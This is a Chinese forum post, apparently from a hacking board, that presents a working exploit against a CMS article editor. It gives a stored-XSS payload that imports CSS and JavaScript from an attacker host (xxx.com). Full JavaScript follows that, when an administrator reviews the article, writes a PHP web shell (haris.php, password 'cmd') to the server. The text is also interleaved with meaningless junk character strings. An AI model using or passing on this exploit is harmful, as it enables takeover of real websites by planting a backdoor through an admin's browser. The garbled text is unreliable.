<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell2 Q" Y( M3 ^/ |. J2 Q+ K' I5 n* ]
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
1 l" V s9 d$ g. f& d目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。* N) i- [/ A" z1 @0 a$ E) {
下面说说利用方法。% ?, C( r% v8 K3 K
条件有2个:% E9 [ @. t6 G( W3 f4 U* J7 I
1.开启注册+ U6 b( D' S5 [6 [% B$ h
2.开启投稿
" b( d1 X0 G2 d, |. x; @' t. e, s注册会员----发表文章8 \, }% E* a2 b$ e) j: _2 W$ N, k
内容填写:
) v1 T' f& O8 s1 `: n) J5 W复制代码
( _5 Y5 k6 r1 l- ~: ~4 v1 B) M<style>@im\port'\http://xxx.com/xss.css';</style>
# |: {2 G) B2 X r8 h' t新建XSS.Css3 i! i+ f- v0 P& m5 R. h9 N
复制代码6 K$ C+ j5 Z% t0 T. X! D" o0 O, z
.body{
. z1 N; L; I4 _8 t% p7 K0 abackground-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }9 d' V5 o6 S( ~) `1 |! Z
新建xss.js 内容为
: d% T3 u2 x- R/ [" V9 o& j7 ]& ^复制代码
8 q, ?+ ]" ]7 a' S9 i/ x+ Q; B% X4 v1.var request = false;, M; ^. v2 R; F. U
2.if(window.XMLHttpRequest) {3 }+ l+ u% [" S& ^9 l& x; ~- z
3.request = new XMLHttpRequest();8 R2 o+ f) B7 \( ~6 h! O7 a
4.if(request.overrideMimeType) {+ Q* u, F0 y9 b" T4 i
5.request.overrideMimeType('text/xml');- Z# K2 m7 N; o7 J- J; @
6.}6 k* }5 Q. q- s
7.} else if(window.ActiveXObject) {
( m8 U5 Q( d6 N+ Q: y& ^8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
9 Q) v/ |8 @7 K5 X1 K% ^7 {9.for(var i=0; i<versions.length; i++) {- o5 I8 F2 U$ ^. x
10.try {
9 \- K$ y. N4 }4 k5 n# r11.request = new ActiveXObject(versions);; K/ V" D3 y$ E* x9 O5 M9 D$ X
12.} catch(e) {}, u$ K3 z9 w P7 B# U( f/ D
13.}
8 ^0 B/ a6 ]6 C3 ~' N14.}4 U! o; d, s9 |/ l# q& @
15.xmlhttp=request;* m, |5 z( E3 V5 l% q
16.function getFolder( url ){6 B( J2 [. C0 V$ S3 ^" Y# ]
17. obj = url.split('/')
" M) r6 c; l- t w$ l18. return obj[obj.length-2]7 d& v( I* r2 L; L8 z
19.} Z# F, U6 q0 `. o) e
20.oUrl = top.location.href;2 e2 _: |- r- f3 ]3 o; ]" z
21.u = getFolder(oUrl);6 A% \ d7 Z' |3 u4 X: s9 s O
22.add_admin();
' m2 H" U* P, A" Y& `) k1 I4 L23.function add_admin(){* R; j* D6 v, f, e
24.var url= "/"+u+"/sys_sql_query.php";
0 h. c7 O, W' y, }0 h6 _25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
z, O( T4 k+ T9 q3 G! l6 @% z7 z26.xmlhttp.open("POST", url, true);# c& L' J8 @2 u. u p5 u. N
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");: ?2 j! }+ K0 v* }4 ?8 J- J3 Y
28.xmlhttp.setRequestHeader("Content-length", params.length);" H' d9 p4 o+ i/ u( G/ B* x
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
7 C7 U/ k4 o( B3 I7 ]( W H30.xmlhttp.send(params);" ^! e& m% n9 D! \2 Z
31.}" }- q; V$ u" r: U [ i
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |